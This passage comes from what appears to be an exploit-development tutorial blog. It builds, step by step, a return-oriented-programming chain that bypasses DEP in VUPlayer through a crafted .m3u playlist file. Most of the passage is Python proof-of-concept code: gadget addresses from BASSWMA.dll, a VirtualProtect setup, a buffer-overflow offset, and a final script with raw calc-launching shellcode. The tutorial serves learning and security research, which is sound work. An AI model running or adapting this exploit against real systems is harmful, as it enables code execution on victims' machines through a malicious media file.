eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
# EDX Chunk Affects: EAX, EDX
edx = struct.pack('<L', 0x106074f8) # a pointer to # XOR EAX,EAX # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10038a6c) # a pointer to # XCHG EAX,EDX # RETN
# EBX Chunk Affects: EAX, EBX
ebx = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
ebx += struct.pack('<L', 0x994801bc) # once XOR'd w the static value 994803BD, this will result in 0x201
ebx += struct.pack('<L', 0x1003a074) # a pointer to # XOR EAX,994803BD # RETN
ebx += struct.pack('<L', 0x10032f32) # a pointer to # XCHG EAX,EBX # RETN 0x00
# EBP Chunk Affects: EBP
ebp = struct.pack('<L', 0x10017c0d) # a pointer to a # POP EBP # RETN 0x04
ebp += struct.pack('<L', 0x1010539F) # pointer to JMP ESP
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
# ESI Chunk Affects: EAX, ESI
esi = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
esi += struct.pack('<L', 0x1060E25C) # virtual protect pointer
esi += struct.pack('<L', 0x1001eaf1) # a pointer to # MOV EAX,DWORD PTR DS:[EAX] # RETN
esi += struct.pack('<L', 0x10030950) # a pointer to # XCHG EAX,ESI # RETN
rop = ""
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
Crushed, next!
EDI ROP Chain
Another simple one, just POP the address of a ROP NOP into the EDI register. We can do that with the following gadgets: 0x100190b0
holds a gadget for # POP EDI # RETN
and 0x10101008
holds a gadget to a ROP NOP.
Updated POC:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETED}
# ECX <writeable pointer> => lpflOldProtect {COMPLETED}
# EDX 00000040 => flNewProtect {COMPLETED}
# EBX 00000201 => dwSize {COMPLETED}
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..) {COMPLETED}
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C {COMPLETED}
# EDI 10101008 => ROP-Nop same as EIP {COMPLETED}
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
# EDX Chunk Affects: EAX, EDX
edx = struct.pack('<L', 0x106074f8) # a pointer to # XOR EAX,EAX # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10038a6c) # a pointer to # XCHG EAX,EDX # RETN
# EBX Chunk Affects: EAX, EBX
ebx = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
ebx += struct.pack('<L', 0x994801bc) # once XOR'd w the static value 994803BD, this will result in 0x201
ebx += struct.pack('<L', 0x1003a074) # a pointer to # XOR EAX,994803BD # RETN
ebx += struct.pack('<L', 0x10032f32) # a pointer to # XCHG EAX,EBX # RETN 0x00
# EBP Chunk Affects: EBP
ebp = struct.pack('<L', 0x10017c0d) # a pointer to a # POP EBP # RETN 0x04
ebp += struct.pack('<L', 0x1010539F) # pointer to JMP ESP
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
# ESI Chunk Affects: EAX, ESI
esi = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
esi += struct.pack('<L', 0x1060E25C) # virtual protect pointer
esi += struct.pack('<L', 0x1001eaf1) # a pointer to # MOV EAX,DWORD PTR DS:[EAX] # RETN
esi += struct.pack('<L', 0x10030950) # a pointer to # XCHG EAX,ESI # RETN
# EDI Chunk Affects: EDI
edi = struct.pack('<L', 0x100190b0) # pointer to a # POP EDI # RETN
edi += struct.pack('<L', 0x10101008) # pointer to a ROP NOP
# PUSHAD Chunk
pushad = struct.pack('<L', 0x1001d7a5) # pointer to a # PUSHAD # RETN
rop = ""
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
I also added a PUSHAD
gadget to the end of our chain which should push all of the register values onto the stack and set up our API call.
Should be all done with our ROP chaining at this point, let’s look in the debugger and see if it builds appropriately and sets up the function call on the stack as intended.
Testing Chain
The important part to constructing our chain at this point is assembling it in an order so that none of our set registers get disturbed. For instance, the ESI chain also affects EAX. We don’t want to set EAX to our goal value and then execute the ESI chain and ruin EAX. Generally, we want to use the chains that use multiple registers first. I constructed my rop
variable as follows:
rop = edx
rop += esi
rop += ebx
rop += ebp
rop += edi
rop += eax
rop += ecx
rop += pushad
Let’s run our script and see if our function call is correct.
Awesome, it’s perfect. The only thing left to do now is add shellcode and a NOP sled. Keep in mind the value we used for the dwSize
argument is specific to our needs. If you want to plug in some large shellcode, perhaps change this value.
Our final POC script looks like this:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETE}
# ECX <writeable pointer> => flProtect {COMPLETE}
# EDX 00000040 => flNewProtect {COMPLETE}
# EBX 00000201 => dwSize {COMPLETE}
# ESP ???????? => Leave as is {COMPLETE}
# EBP ???????? => Call to ESP (jmp, call, push,..) {COMPLETE}
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C {COMPLETE}
# EDI 10101008 => ROP-Nop same as EIP {COMPLETE}
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
# EDX Chunk Affects: EAX, EDX
edx = struct.pack('<L', 0x106074f8) # a pointer to # XOR EAX,EAX # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10038a6c) # a pointer to # XCHG EAX,EDX # RETN
# EBX Chunk Affects: EAX, EBX
ebx = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
ebx += struct.pack('<L', 0x994801bc) # once XOR'd w the static value 994803BD, this will result in 0x201
ebx += struct.pack('<L', 0x1003a074) # a pointer to # XOR EAX,994803BD # RETN
ebx += struct.pack('<L', 0x10032f32) # a pointer to # XCHG EAX,EBX # RETN 0x00
# EBP Chunk Affects: EBP
ebp = struct.pack('<L', 0x10017c0d) # a pointer to a # POP EBP # RETN 0x04
ebp += struct.pack('<L', 0x1010539F) # pointer to JMP ESP
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
# ESI Chunk Affects: EAX, ESI
esi = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
esi += struct.pack('<L', 0x1060E25C) # virtual protect pointer
esi += struct.pack('<L', 0x1001eaf1) # a pointer to # MOV EAX,DWORD PTR DS:[EAX] # RETN
esi += struct.pack('<L', 0x10030950) # a pointer to # XCHG EAX,ESI # RETN
# EDI Chunk Affects: EDI
edi = struct.pack('<L', 0x100190b0) # pointer to a # POP EDI # RETN
edi += struct.pack('<L', 0x10101008) # pointer to a ROP NOP
# PUSHAD Chunk
pushad = struct.pack('<L', 0x1001d7a5) # pointer to a # PUSHAD # RETN
rop = edx
rop += esi
rop += ebx
rop += ebp
rop += edi
rop += eax
rop += ecx
rop += pushad
nops = "\x90" * 16
calc = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += nops
fuzz += calc
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
Improvements
Consulting Steven Patterson’s blog, there was really only one techinque that we really could’ve used to save space. He uses a NEG
instruction in this gadget 0x10014db4 : # NEG EAX # RETN
to craft his 0x40
and 0x201
values in EAX. Very clever and something we will use going forward.
Conclusion
Mona will actually craft large chunks of your chain for you; however, I wanted to steer clear of this as we’ll need experience crafting custom chains in the future.
Huge thanks to Steven Patterson, FuzzySec, and Corelan for their wonderful blog posts. Any time you can create free content for people to learn from, it does wonders for beginners, it’s much appreciated.